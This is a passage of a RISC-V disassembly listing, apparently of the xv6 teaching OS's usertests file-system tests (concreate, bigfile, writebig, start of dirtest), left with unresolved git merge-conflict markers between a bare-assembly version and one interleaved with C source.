4792: 00001097 auipc ra,0x1
4796: d8a080e7 jalr -630(ra) # 551c <unlink>
479a: bfb5 j 4716 <concreate+0x24a>
<<<<<<< HEAD
479c: 4501 li a0,0
479e: 00001097 auipc ra,0x1
47a2: d2e080e7 jalr -722(ra) # 54cc <exit>
47a6: 00001097 auipc ra,0x1
47aa: d4e080e7 jalr -690(ra) # 54f4 <close>
47ae: bb65 j 4566 <concreate+0x9a>
47b0: 00001097 auipc ra,0x1
47b4: d44080e7 jalr -700(ra) # 54f4 <close>
47b8: f6c40513 addi a0,s0,-148
47bc: 00001097 auipc ra,0x1
47c0: d18080e7 jalr -744(ra) # 54d4 <wait>
47c4: f6c42483 lw s1,-148(s0)
47c8: da0494e3 bnez s1,4570 <concreate+0xa4>
47cc: 2905 addiw s2,s2,1
47ce: db4906e3 beq s2,s4,457a <concreate+0xae>
47d2: 0309079b addiw a5,s2,48
47d6: faf404a3 sb a5,-87(s0)
47da: fa840513 addi a0,s0,-88
47de: 00001097 auipc ra,0x1
47e2: d3e080e7 jalr -706(ra) # 551c <unlink>
47e6: 00001097 auipc ra,0x1
47ea: cde080e7 jalr -802(ra) # 54c4 <fork>
47ee: d20503e3 beqz a0,4514 <concreate+0x48>
47f2: 036967bb remw a5,s2,s6
47f6: d15787e3 beq a5,s5,4504 <concreate+0x38>
=======
exit(0);
479c: 4501 li a0,0
479e: 00001097 auipc ra,0x1
47a2: d2e080e7 jalr -722(ra) # 54cc <exit>
close(fd);
47a6: 00001097 auipc ra,0x1
47aa: d4e080e7 jalr -690(ra) # 54f4 <close>
if (pid == 0) {
47ae: bb65 j 4566 <concreate+0x9a>
close(fd);
47b0: 00001097 auipc ra,0x1
47b4: d44080e7 jalr -700(ra) # 54f4 <close>
wait(&xstatus);
47b8: f6c40513 addi a0,s0,-148
47bc: 00001097 auipc ra,0x1
47c0: d18080e7 jalr -744(ra) # 54d4 <wait>
if (xstatus != 0)
47c4: f6c42483 lw s1,-148(s0)
47c8: da0494e3 bnez s1,4570 <concreate+0xa4>
for (i = 0; i < N; i++) {
47cc: 2905 addiw s2,s2,1
47ce: db4906e3 beq s2,s4,457a <concreate+0xae>
file[1] = '0' + i;
47d2: 0309079b addiw a5,s2,48
47d6: faf404a3 sb a5,-87(s0)
unlink(file);
47da: fa840513 addi a0,s0,-88
47de: 00001097 auipc ra,0x1
47e2: d3e080e7 jalr -706(ra) # 551c <unlink>
pid = fork();
47e6: 00001097 auipc ra,0x1
47ea: cde080e7 jalr -802(ra) # 54c4 <fork>
if (pid && (i % 3) == 1) {
47ee: d20503e3 beqz a0,4514 <concreate+0x48>
47f2: 036967bb remw a5,s2,s6
47f6: d15787e3 beq a5,s5,4504 <concreate+0x38>
fd = open(file, O_CREATE | O_RDWR);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
47fa: 20200593 li a1,514
47fe: fa840513 addi a0,s0,-88
4802: 00001097 auipc ra,0x1
4806: d0a080e7 jalr -758(ra) # 550c <open>
<<<<<<< HEAD
480a: fa0553e3 bgez a0,47b0 <concreate+0x2e4>
480e: b31d j 4534 <concreate+0x68>
=======
if (fd < 0) {
480a: fa0553e3 bgez a0,47b0 <concreate+0x2e4>
480e: b31d j 4534 <concreate+0x68>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4810: 60ea ld ra,152(sp)
4812: 644a ld s0,144(sp)
4814: 64aa ld s1,136(sp)
4816: 690a ld s2,128(sp)
4818: 79e6 ld s3,120(sp)
481a: 7a46 ld s4,112(sp)
481c: 7aa6 ld s5,104(sp)
481e: 7b06 ld s6,96(sp)
4820: 6be6 ld s7,88(sp)
4822: 610d addi sp,sp,160
4824: 8082 ret
0000000000004826 <bigfile>:
<<<<<<< HEAD
=======
void bigfile(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4826: 7139 addi sp,sp,-64
4828: fc06 sd ra,56(sp)
482a: f822 sd s0,48(sp)
482c: f426 sd s1,40(sp)
482e: f04a sd s2,32(sp)
4830: ec4e sd s3,24(sp)
4832: e852 sd s4,16(sp)
4834: e456 sd s5,8(sp)
4836: 0080 addi s0,sp,64
4838: 8aaa mv s5,a0
<<<<<<< HEAD
483a: 00003517 auipc a0,0x3
483e: 13650513 addi a0,a0,310 # 7970 <l_free+0x1f08>
4842: 00001097 auipc ra,0x1
4846: cda080e7 jalr -806(ra) # 551c <unlink>
484a: 20200593 li a1,514
484e: 00003517 auipc a0,0x3
4852: 12250513 addi a0,a0,290 # 7970 <l_free+0x1f08>
4856: 00001097 auipc ra,0x1
485a: cb6080e7 jalr -842(ra) # 550c <open>
485e: 89aa mv s3,a0
4860: 4481 li s1,0
4862: 00007917 auipc s2,0x7
4866: 1ae90913 addi s2,s2,430 # ba10 <buf>
486a: 4a51 li s4,20
486c: 0a054063 bltz a0,490c <bigfile+0xe6>
=======
unlink("bigfile.dat");
483a: 00003517 auipc a0,0x3
483e: 13650513 addi a0,a0,310 # 7970 <l_free+0x1f0a>
4842: 00001097 auipc ra,0x1
4846: cda080e7 jalr -806(ra) # 551c <unlink>
fd = open("bigfile.dat", O_CREATE | O_RDWR);
484a: 20200593 li a1,514
484e: 00003517 auipc a0,0x3
4852: 12250513 addi a0,a0,290 # 7970 <l_free+0x1f0a>
4856: 00001097 auipc ra,0x1
485a: cb6080e7 jalr -842(ra) # 550c <open>
485e: 89aa mv s3,a0
for (i = 0; i < N; i++) {
4860: 4481 li s1,0
memset(buf, i, SZ);
4862: 00007917 auipc s2,0x7
4866: 15690913 addi s2,s2,342 # b9b8 <buf>
for (i = 0; i < N; i++) {
486a: 4a51 li s4,20
if (fd < 0) {
486c: 0a054063 bltz a0,490c <bigfile+0xe6>
memset(buf, i, SZ);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4870: 25800613 li a2,600
4874: 85a6 mv a1,s1
4876: 854a mv a0,s2
4878: 00001097 auipc ra,0x1
487c: a58080e7 jalr -1448(ra) # 52d0 <memset>
<<<<<<< HEAD
=======
if (write(fd, buf, SZ) != SZ) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4880: 25800613 li a2,600
4884: 85ca mv a1,s2
4886: 854e mv a0,s3
4888: 00001097 auipc ra,0x1
488c: c64080e7 jalr -924(ra) # 54ec <write>
4890: 25800793 li a5,600
4894: 08f51a63 bne a0,a5,4928 <bigfile+0x102>
<<<<<<< HEAD
4898: 2485 addiw s1,s1,1
489a: fd449be3 bne s1,s4,4870 <bigfile+0x4a>
489e: 854e mv a0,s3
48a0: 00001097 auipc ra,0x1
48a4: c54080e7 jalr -940(ra) # 54f4 <close>
48a8: 4581 li a1,0
48aa: 00003517 auipc a0,0x3
48ae: 0c650513 addi a0,a0,198 # 7970 <l_free+0x1f08>
48b2: 00001097 auipc ra,0x1
48b6: c5a080e7 jalr -934(ra) # 550c <open>
48ba: 8a2a mv s4,a0
48bc: 4981 li s3,0
48be: 4481 li s1,0
48c0: 00007917 auipc s2,0x7
48c4: 15090913 addi s2,s2,336 # ba10 <buf>
48c8: 06054e63 bltz a0,4944 <bigfile+0x11e>
=======
for (i = 0; i < N; i++) {
4898: 2485 addiw s1,s1,1
489a: fd449be3 bne s1,s4,4870 <bigfile+0x4a>
close(fd);
489e: 854e mv a0,s3
48a0: 00001097 auipc ra,0x1
48a4: c54080e7 jalr -940(ra) # 54f4 <close>
fd = open("bigfile.dat", 0);
48a8: 4581 li a1,0
48aa: 00003517 auipc a0,0x3
48ae: 0c650513 addi a0,a0,198 # 7970 <l_free+0x1f0a>
48b2: 00001097 auipc ra,0x1
48b6: c5a080e7 jalr -934(ra) # 550c <open>
48ba: 8a2a mv s4,a0
total = 0;
48bc: 4981 li s3,0
for (i = 0;; i++) {
48be: 4481 li s1,0
cc = read(fd, buf, SZ / 2);
48c0: 00007917 auipc s2,0x7
48c4: 0f890913 addi s2,s2,248 # b9b8 <buf>
if (fd < 0) {
48c8: 06054e63 bltz a0,4944 <bigfile+0x11e>
cc = read(fd, buf, SZ / 2);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
48cc: 12c00613 li a2,300
48d0: 85ca mv a1,s2
48d2: 8552 mv a0,s4
48d4: 00001097 auipc ra,0x1
48d8: c10080e7 jalr -1008(ra) # 54e4 <read>
<<<<<<< HEAD
48dc: 08054263 bltz a0,4960 <bigfile+0x13a>
48e0: c971 beqz a0,49b4 <bigfile+0x18e>
48e2: 12c00793 li a5,300
48e6: 08f51b63 bne a0,a5,497c <bigfile+0x156>
=======
if (cc < 0) {
48dc: 08054263 bltz a0,4960 <bigfile+0x13a>
if (cc == 0)
48e0: c971 beqz a0,49b4 <bigfile+0x18e>
if (cc != SZ / 2) {
48e2: 12c00793 li a5,300
48e6: 08f51b63 bne a0,a5,497c <bigfile+0x156>
if (buf[0] != i / 2 || buf[SZ / 2 - 1] != i / 2) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
48ea: 01f4d79b srliw a5,s1,0x1f
48ee: 9fa5 addw a5,a5,s1
48f0: 4017d79b sraiw a5,a5,0x1
48f4: 00094703 lbu a4,0(s2)
48f8: 0af71063 bne a4,a5,4998 <bigfile+0x172>
48fc: 12b94703 lbu a4,299(s2)
4900: 08f71c63 bne a4,a5,4998 <bigfile+0x172>
<<<<<<< HEAD
4904: 12c9899b addiw s3,s3,300
4908: 2485 addiw s1,s1,1
490a: b7c9 j 48cc <bigfile+0xa6>
490c: 85d6 mv a1,s5
490e: 00003517 auipc a0,0x3
4912: 07250513 addi a0,a0,114 # 7980 <l_free+0x1f18>
4916: 00001097 auipc ra,0x1
491a: f30080e7 jalr -208(ra) # 5846 <printf>
491e: 4505 li a0,1
4920: 00001097 auipc ra,0x1
4924: bac080e7 jalr -1108(ra) # 54cc <exit>
4928: 85d6 mv a1,s5
492a: 00003517 auipc a0,0x3
492e: 07650513 addi a0,a0,118 # 79a0 <l_free+0x1f38>
4932: 00001097 auipc ra,0x1
4936: f14080e7 jalr -236(ra) # 5846 <printf>
493a: 4505 li a0,1
493c: 00001097 auipc ra,0x1
4940: b90080e7 jalr -1136(ra) # 54cc <exit>
4944: 85d6 mv a1,s5
4946: 00003517 auipc a0,0x3
494a: 07a50513 addi a0,a0,122 # 79c0 <l_free+0x1f58>
494e: 00001097 auipc ra,0x1
4952: ef8080e7 jalr -264(ra) # 5846 <printf>
4956: 4505 li a0,1
4958: 00001097 auipc ra,0x1
495c: b74080e7 jalr -1164(ra) # 54cc <exit>
4960: 85d6 mv a1,s5
4962: 00003517 auipc a0,0x3
4966: 07e50513 addi a0,a0,126 # 79e0 <l_free+0x1f78>
496a: 00001097 auipc ra,0x1
496e: edc080e7 jalr -292(ra) # 5846 <printf>
4972: 4505 li a0,1
4974: 00001097 auipc ra,0x1
4978: b58080e7 jalr -1192(ra) # 54cc <exit>
497c: 85d6 mv a1,s5
497e: 00003517 auipc a0,0x3
4982: 08250513 addi a0,a0,130 # 7a00 <l_free+0x1f98>
4986: 00001097 auipc ra,0x1
498a: ec0080e7 jalr -320(ra) # 5846 <printf>
498e: 4505 li a0,1
4990: 00001097 auipc ra,0x1
4994: b3c080e7 jalr -1220(ra) # 54cc <exit>
4998: 85d6 mv a1,s5
499a: 00003517 auipc a0,0x3
499e: 07e50513 addi a0,a0,126 # 7a18 <l_free+0x1fb0>
49a2: 00001097 auipc ra,0x1
49a6: ea4080e7 jalr -348(ra) # 5846 <printf>
49aa: 4505 li a0,1
49ac: 00001097 auipc ra,0x1
49b0: b20080e7 jalr -1248(ra) # 54cc <exit>
49b4: 8552 mv a0,s4
49b6: 00001097 auipc ra,0x1
49ba: b3e080e7 jalr -1218(ra) # 54f4 <close>
49be: 678d lui a5,0x3
49c0: ee078793 addi a5,a5,-288 # 2ee0 <subdir+0x2ce>
49c4: 02f99363 bne s3,a5,49ea <bigfile+0x1c4>
49c8: 00003517 auipc a0,0x3
49cc: fa850513 addi a0,a0,-88 # 7970 <l_free+0x1f08>
49d0: 00001097 auipc ra,0x1
49d4: b4c080e7 jalr -1204(ra) # 551c <unlink>
=======
total += cc;
4904: 12c9899b addiw s3,s3,300
for (i = 0;; i++) {
4908: 2485 addiw s1,s1,1
cc = read(fd, buf, SZ / 2);
490a: b7c9 j 48cc <bigfile+0xa6>
printf("%s: cannot create bigfile", s);
490c: 85d6 mv a1,s5
490e: 00003517 auipc a0,0x3
4912: 07250513 addi a0,a0,114 # 7980 <l_free+0x1f1a>
4916: 00001097 auipc ra,0x1
491a: f2e080e7 jalr -210(ra) # 5844 <printf>
exit(1);
491e: 4505 li a0,1
4920: 00001097 auipc ra,0x1
4924: bac080e7 jalr -1108(ra) # 54cc <exit>
printf("%s: write bigfile failed\n", s);
4928: 85d6 mv a1,s5
492a: 00003517 auipc a0,0x3
492e: 07650513 addi a0,a0,118 # 79a0 <l_free+0x1f3a>
4932: 00001097 auipc ra,0x1
4936: f12080e7 jalr -238(ra) # 5844 <printf>
exit(1);
493a: 4505 li a0,1
493c: 00001097 auipc ra,0x1
4940: b90080e7 jalr -1136(ra) # 54cc <exit>
printf("%s: cannot open bigfile\n", s);
4944: 85d6 mv a1,s5
4946: 00003517 auipc a0,0x3
494a: 07a50513 addi a0,a0,122 # 79c0 <l_free+0x1f5a>
494e: 00001097 auipc ra,0x1
4952: ef6080e7 jalr -266(ra) # 5844 <printf>
exit(1);
4956: 4505 li a0,1
4958: 00001097 auipc ra,0x1
495c: b74080e7 jalr -1164(ra) # 54cc <exit>
printf("%s: read bigfile failed\n", s);
4960: 85d6 mv a1,s5
4962: 00003517 auipc a0,0x3
4966: 07e50513 addi a0,a0,126 # 79e0 <l_free+0x1f7a>
496a: 00001097 auipc ra,0x1
496e: eda080e7 jalr -294(ra) # 5844 <printf>
exit(1);
4972: 4505 li a0,1
4974: 00001097 auipc ra,0x1
4978: b58080e7 jalr -1192(ra) # 54cc <exit>
printf("%s: short read bigfile\n", s);
497c: 85d6 mv a1,s5
497e: 00003517 auipc a0,0x3
4982: 08250513 addi a0,a0,130 # 7a00 <l_free+0x1f9a>
4986: 00001097 auipc ra,0x1
498a: ebe080e7 jalr -322(ra) # 5844 <printf>
exit(1);
498e: 4505 li a0,1
4990: 00001097 auipc ra,0x1
4994: b3c080e7 jalr -1220(ra) # 54cc <exit>
printf("%s: read bigfile wrong data\n", s);
4998: 85d6 mv a1,s5
499a: 00003517 auipc a0,0x3
499e: 07e50513 addi a0,a0,126 # 7a18 <l_free+0x1fb2>
49a2: 00001097 auipc ra,0x1
49a6: ea2080e7 jalr -350(ra) # 5844 <printf>
exit(1);
49aa: 4505 li a0,1
49ac: 00001097 auipc ra,0x1
49b0: b20080e7 jalr -1248(ra) # 54cc <exit>
close(fd);
49b4: 8552 mv a0,s4
49b6: 00001097 auipc ra,0x1
49ba: b3e080e7 jalr -1218(ra) # 54f4 <close>
if (total != N * SZ) {
49be: 678d lui a5,0x3
49c0: ee078793 addi a5,a5,-288 # 2ee0 <subdir+0x2ce>
49c4: 02f99363 bne s3,a5,49ea <bigfile+0x1c4>
unlink("bigfile.dat");
49c8: 00003517 auipc a0,0x3
49cc: fa850513 addi a0,a0,-88 # 7970 <l_free+0x1f0a>
49d0: 00001097 auipc ra,0x1
49d4: b4c080e7 jalr -1204(ra) # 551c <unlink>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
49d8: 70e2 ld ra,56(sp)
49da: 7442 ld s0,48(sp)
49dc: 74a2 ld s1,40(sp)
49de: 7902 ld s2,32(sp)
49e0: 69e2 ld s3,24(sp)
49e2: 6a42 ld s4,16(sp)
49e4: 6aa2 ld s5,8(sp)
49e6: 6121 addi sp,sp,64
49e8: 8082 ret
<<<<<<< HEAD
49ea: 85d6 mv a1,s5
49ec: 00003517 auipc a0,0x3
49f0: 04c50513 addi a0,a0,76 # 7a38 <l_free+0x1fd0>
49f4: 00001097 auipc ra,0x1
49f8: e52080e7 jalr -430(ra) # 5846 <printf>
=======
printf("%s: read bigfile wrong total\n", s);
49ea: 85d6 mv a1,s5
49ec: 00003517 auipc a0,0x3
49f0: 04c50513 addi a0,a0,76 # 7a38 <l_free+0x1fd2>
49f4: 00001097 auipc ra,0x1
49f8: e50080e7 jalr -432(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
49fc: 4505 li a0,1
49fe: 00001097 auipc ra,0x1
4a02: ace080e7 jalr -1330(ra) # 54cc <exit>
0000000000004a06 <writebig>:
<<<<<<< HEAD
=======
void writebig(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4a06: 7139 addi sp,sp,-64
4a08: fc06 sd ra,56(sp)
4a0a: f822 sd s0,48(sp)
4a0c: f426 sd s1,40(sp)
4a0e: f04a sd s2,32(sp)
4a10: ec4e sd s3,24(sp)
4a12: e852 sd s4,16(sp)
4a14: e456 sd s5,8(sp)
4a16: 0080 addi s0,sp,64
4a18: 8aaa mv s5,a0
<<<<<<< HEAD
4a1a: 20200593 li a1,514
4a1e: 00003517 auipc a0,0x3
4a22: 03a50513 addi a0,a0,58 # 7a58 <l_free+0x1ff0>
4a26: 00001097 auipc ra,0x1
4a2a: ae6080e7 jalr -1306(ra) # 550c <open>
4a2e: 89aa mv s3,a0
4a30: 4481 li s1,0
4a32: 00007917 auipc s2,0x7
4a36: fde90913 addi s2,s2,-34 # ba10 <buf>
4a3a: 10c00a13 li s4,268
4a3e: 06054c63 bltz a0,4ab6 <writebig+0xb0>
4a42: 00992023 sw s1,0(s2)
=======
fd = open("big", O_CREATE | O_RDWR);
4a1a: 20200593 li a1,514
4a1e: 00003517 auipc a0,0x3
4a22: 03a50513 addi a0,a0,58 # 7a58 <l_free+0x1ff2>
4a26: 00001097 auipc ra,0x1
4a2a: ae6080e7 jalr -1306(ra) # 550c <open>
4a2e: 89aa mv s3,a0
for (i = 0; i < MAXFILE; i++) {
4a30: 4481 li s1,0
((int *)buf)[0] = i;
4a32: 00007917 auipc s2,0x7
4a36: f8690913 addi s2,s2,-122 # b9b8 <buf>
for (i = 0; i < MAXFILE; i++) {
4a3a: 10c00a13 li s4,268
if (fd < 0) {
4a3e: 06054c63 bltz a0,4ab6 <writebig+0xb0>
((int *)buf)[0] = i;
4a42: 00992023 sw s1,0(s2)
if (write(fd, buf, BSIZE) != BSIZE) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4a46: 40000613 li a2,1024
4a4a: 85ca mv a1,s2
4a4c: 854e mv a0,s3
4a4e: 00001097 auipc ra,0x1
4a52: a9e080e7 jalr -1378(ra) # 54ec <write>
4a56: 40000793 li a5,1024
4a5a: 06f51c63 bne a0,a5,4ad2 <writebig+0xcc>
<<<<<<< HEAD
4a5e: 2485 addiw s1,s1,1
4a60: ff4491e3 bne s1,s4,4a42 <writebig+0x3c>
4a64: 854e mv a0,s3
4a66: 00001097 auipc ra,0x1
4a6a: a8e080e7 jalr -1394(ra) # 54f4 <close>
4a6e: 4581 li a1,0
4a70: 00003517 auipc a0,0x3
4a74: fe850513 addi a0,a0,-24 # 7a58 <l_free+0x1ff0>
4a78: 00001097 auipc ra,0x1
4a7c: a94080e7 jalr -1388(ra) # 550c <open>
4a80: 89aa mv s3,a0
4a82: 4481 li s1,0
4a84: 00007917 auipc s2,0x7
4a88: f8c90913 addi s2,s2,-116 # ba10 <buf>
4a8c: 06054163 bltz a0,4aee <writebig+0xe8>
=======
for (i = 0; i < MAXFILE; i++) {
4a5e: 2485 addiw s1,s1,1
4a60: ff4491e3 bne s1,s4,4a42 <writebig+0x3c>
close(fd);
4a64: 854e mv a0,s3
4a66: 00001097 auipc ra,0x1
4a6a: a8e080e7 jalr -1394(ra) # 54f4 <close>
fd = open("big", O_RDONLY);
4a6e: 4581 li a1,0
4a70: 00003517 auipc a0,0x3
4a74: fe850513 addi a0,a0,-24 # 7a58 <l_free+0x1ff2>
4a78: 00001097 auipc ra,0x1
4a7c: a94080e7 jalr -1388(ra) # 550c <open>
4a80: 89aa mv s3,a0
n = 0;
4a82: 4481 li s1,0
i = read(fd, buf, BSIZE);
4a84: 00007917 auipc s2,0x7
4a88: f3490913 addi s2,s2,-204 # b9b8 <buf>
if (fd < 0) {
4a8c: 06054163 bltz a0,4aee <writebig+0xe8>
i = read(fd, buf, BSIZE);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4a90: 40000613 li a2,1024
4a94: 85ca mv a1,s2
4a96: 854e mv a0,s3
4a98: 00001097 auipc ra,0x1
4a9c: a4c080e7 jalr -1460(ra) # 54e4 <read>
<<<<<<< HEAD
4aa0: c52d beqz a0,4b0a <writebig+0x104>
4aa2: 40000793 li a5,1024
4aa6: 0af51d63 bne a0,a5,4b60 <writebig+0x15a>
4aaa: 00092603 lw a2,0(s2)
4aae: 0c961763 bne a2,s1,4b7c <writebig+0x176>
4ab2: 2485 addiw s1,s1,1
4ab4: bff1 j 4a90 <writebig+0x8a>
4ab6: 85d6 mv a1,s5
4ab8: 00003517 auipc a0,0x3
4abc: fa850513 addi a0,a0,-88 # 7a60 <l_free+0x1ff8>
4ac0: 00001097 auipc ra,0x1
4ac4: d86080e7 jalr -634(ra) # 5846 <printf>
4ac8: 4505 li a0,1
4aca: 00001097 auipc ra,0x1
4ace: a02080e7 jalr -1534(ra) # 54cc <exit>
4ad2: 85a6 mv a1,s1
4ad4: 00003517 auipc a0,0x3
4ad8: fac50513 addi a0,a0,-84 # 7a80 <l_free+0x2018>
4adc: 00001097 auipc ra,0x1
4ae0: d6a080e7 jalr -662(ra) # 5846 <printf>
4ae4: 4505 li a0,1
4ae6: 00001097 auipc ra,0x1
4aea: 9e6080e7 jalr -1562(ra) # 54cc <exit>
4aee: 85d6 mv a1,s5
4af0: 00003517 auipc a0,0x3
4af4: fb850513 addi a0,a0,-72 # 7aa8 <l_free+0x2040>
4af8: 00001097 auipc ra,0x1
4afc: d4e080e7 jalr -690(ra) # 5846 <printf>
4b00: 4505 li a0,1
4b02: 00001097 auipc ra,0x1
4b06: 9ca080e7 jalr -1590(ra) # 54cc <exit>
4b0a: 10b00793 li a5,267
4b0e: 02f48a63 beq s1,a5,4b42 <writebig+0x13c>
4b12: 854e mv a0,s3
4b14: 00001097 auipc ra,0x1
4b18: 9e0080e7 jalr -1568(ra) # 54f4 <close>
4b1c: 00003517 auipc a0,0x3
4b20: f3c50513 addi a0,a0,-196 # 7a58 <l_free+0x1ff0>
4b24: 00001097 auipc ra,0x1
4b28: 9f8080e7 jalr -1544(ra) # 551c <unlink>
4b2c: 06054663 bltz a0,4b98 <writebig+0x192>
=======
if (i == 0) {
4aa0: c52d beqz a0,4b0a <writebig+0x104>
} else if (i != BSIZE) {
4aa2: 40000793 li a5,1024
4aa6: 0af51d63 bne a0,a5,4b60 <writebig+0x15a>
if (((int *)buf)[0] != n) {
4aaa: 00092603 lw a2,0(s2)
4aae: 0c961763 bne a2,s1,4b7c <writebig+0x176>
n++;
4ab2: 2485 addiw s1,s1,1
i = read(fd, buf, BSIZE);
4ab4: bff1 j 4a90 <writebig+0x8a>
printf("%s: error: creat big failed!\n", s);
4ab6: 85d6 mv a1,s5
4ab8: 00003517 auipc a0,0x3
4abc: fa850513 addi a0,a0,-88 # 7a60 <l_free+0x1ffa>
4ac0: 00001097 auipc ra,0x1
4ac4: d84080e7 jalr -636(ra) # 5844 <printf>
exit(1);
4ac8: 4505 li a0,1
4aca: 00001097 auipc ra,0x1
4ace: a02080e7 jalr -1534(ra) # 54cc <exit>
printf("%s: error: write big file failed\n", i);
4ad2: 85a6 mv a1,s1
4ad4: 00003517 auipc a0,0x3
4ad8: fac50513 addi a0,a0,-84 # 7a80 <l_free+0x201a>
4adc: 00001097 auipc ra,0x1
4ae0: d68080e7 jalr -664(ra) # 5844 <printf>
exit(1);
4ae4: 4505 li a0,1
4ae6: 00001097 auipc ra,0x1
4aea: 9e6080e7 jalr -1562(ra) # 54cc <exit>
printf("%s: error: open big failed!\n", s);
4aee: 85d6 mv a1,s5
4af0: 00003517 auipc a0,0x3
4af4: fb850513 addi a0,a0,-72 # 7aa8 <l_free+0x2042>
4af8: 00001097 auipc ra,0x1
4afc: d4c080e7 jalr -692(ra) # 5844 <printf>
exit(1);
4b00: 4505 li a0,1
4b02: 00001097 auipc ra,0x1
4b06: 9ca080e7 jalr -1590(ra) # 54cc <exit>
if (n == MAXFILE - 1) {
4b0a: 10b00793 li a5,267
4b0e: 02f48a63 beq s1,a5,4b42 <writebig+0x13c>
close(fd);
4b12: 854e mv a0,s3
4b14: 00001097 auipc ra,0x1
4b18: 9e0080e7 jalr -1568(ra) # 54f4 <close>
if (unlink("big") < 0) {
4b1c: 00003517 auipc a0,0x3
4b20: f3c50513 addi a0,a0,-196 # 7a58 <l_free+0x1ff2>
4b24: 00001097 auipc ra,0x1
4b28: 9f8080e7 jalr -1544(ra) # 551c <unlink>
4b2c: 06054663 bltz a0,4b98 <writebig+0x192>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4b30: 70e2 ld ra,56(sp)
4b32: 7442 ld s0,48(sp)
4b34: 74a2 ld s1,40(sp)
4b36: 7902 ld s2,32(sp)
4b38: 69e2 ld s3,24(sp)
4b3a: 6a42 ld s4,16(sp)
4b3c: 6aa2 ld s5,8(sp)
4b3e: 6121 addi sp,sp,64
4b40: 8082 ret
<<<<<<< HEAD
4b42: 10b00593 li a1,267
4b46: 00003517 auipc a0,0x3
4b4a: f8250513 addi a0,a0,-126 # 7ac8 <l_free+0x2060>
4b4e: 00001097 auipc ra,0x1
4b52: cf8080e7 jalr -776(ra) # 5846 <printf>
4b56: 4505 li a0,1
4b58: 00001097 auipc ra,0x1
4b5c: 974080e7 jalr -1676(ra) # 54cc <exit>
4b60: 85aa mv a1,a0
4b62: 00003517 auipc a0,0x3
4b66: f8e50513 addi a0,a0,-114 # 7af0 <l_free+0x2088>
4b6a: 00001097 auipc ra,0x1
4b6e: cdc080e7 jalr -804(ra) # 5846 <printf>
4b72: 4505 li a0,1
4b74: 00001097 auipc ra,0x1
4b78: 958080e7 jalr -1704(ra) # 54cc <exit>
4b7c: 85a6 mv a1,s1
4b7e: 00003517 auipc a0,0x3
4b82: f8a50513 addi a0,a0,-118 # 7b08 <l_free+0x20a0>
4b86: 00001097 auipc ra,0x1
4b8a: cc0080e7 jalr -832(ra) # 5846 <printf>
4b8e: 4505 li a0,1
4b90: 00001097 auipc ra,0x1
4b94: 93c080e7 jalr -1732(ra) # 54cc <exit>
4b98: 85d6 mv a1,s5
4b9a: 00003517 auipc a0,0x3
4b9e: f9650513 addi a0,a0,-106 # 7b30 <l_free+0x20c8>
4ba2: 00001097 auipc ra,0x1
4ba6: ca4080e7 jalr -860(ra) # 5846 <printf>
=======
printf("%s: read only %d blocks from big", n);
4b42: 10b00593 li a1,267
4b46: 00003517 auipc a0,0x3
4b4a: f8250513 addi a0,a0,-126 # 7ac8 <l_free+0x2062>
4b4e: 00001097 auipc ra,0x1
4b52: cf6080e7 jalr -778(ra) # 5844 <printf>
exit(1);
4b56: 4505 li a0,1
4b58: 00001097 auipc ra,0x1
4b5c: 974080e7 jalr -1676(ra) # 54cc <exit>
printf("%s: read failed %d\n", i);
4b60: 85aa mv a1,a0
4b62: 00003517 auipc a0,0x3
4b66: f8e50513 addi a0,a0,-114 # 7af0 <l_free+0x208a>
4b6a: 00001097 auipc ra,0x1
4b6e: cda080e7 jalr -806(ra) # 5844 <printf>
exit(1);
4b72: 4505 li a0,1
4b74: 00001097 auipc ra,0x1
4b78: 958080e7 jalr -1704(ra) # 54cc <exit>
printf("%s: read content of block %d is %d\n", n, ((int *)buf)[0]);
4b7c: 85a6 mv a1,s1
4b7e: 00003517 auipc a0,0x3
4b82: f8a50513 addi a0,a0,-118 # 7b08 <l_free+0x20a2>
4b86: 00001097 auipc ra,0x1
4b8a: cbe080e7 jalr -834(ra) # 5844 <printf>
exit(1);
4b8e: 4505 li a0,1
4b90: 00001097 auipc ra,0x1
4b94: 93c080e7 jalr -1732(ra) # 54cc <exit>
printf("%s: unlink big failed\n", s);
4b98: 85d6 mv a1,s5
4b9a: 00003517 auipc a0,0x3
4b9e: f9650513 addi a0,a0,-106 # 7b30 <l_free+0x20ca>
4ba2: 00001097 auipc ra,0x1
4ba6: ca2080e7 jalr -862(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4baa: 4505 li a0,1
4bac: 00001097 auipc ra,0x1
4bb0: 920080e7 jalr -1760(ra) # 54cc <exit>
0000000000004bb4 <dirtest>:
4bb4: 1101 addi sp,sp,-32
4bb6: ec06 sd ra,24(sp)
4bb8: e822 sd s0,16(sp)
4bba: e426 sd s1,8(sp)
4bbc: 1000 addi s0,sp,32
4bbe: 84aa mv s1,a0
4bc0: 00003517 auipc a0,0x3
<<<<<<< HEAD
4bc4: f8850513 addi a0,a0,-120 # 7b48 <l_free+0x20e0>
4bc8: 00001097 auipc ra,0x1
4bcc: c7e080e7 jalr -898(ra) # 5846 <printf>
4bd0: 00003517 auipc a0,0x3
4bd4: f8850513 addi a0,a0,-120 # 7b58 <l_free+0x20f0>
=======
4bc4: f8850513 addi a0,a0,-120 # 7b48 <l_free+0x20e2>
4bc8: 00001097 auipc ra,0x1
4bcc: c7c080e7 jalr -900(ra) # 5844 <printf>
if (mkdir("dir0") < 0) {
4bd0: 00003517 auipc a0,0x3
4bd4: f8850513 addi a0,a0,-120 # 7b58 <l_free+0x20f2>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4bd8: 00001097 auipc ra,0x1
4bdc: 95c080e7 jalr -1700(ra) # 5534 <mkdir>
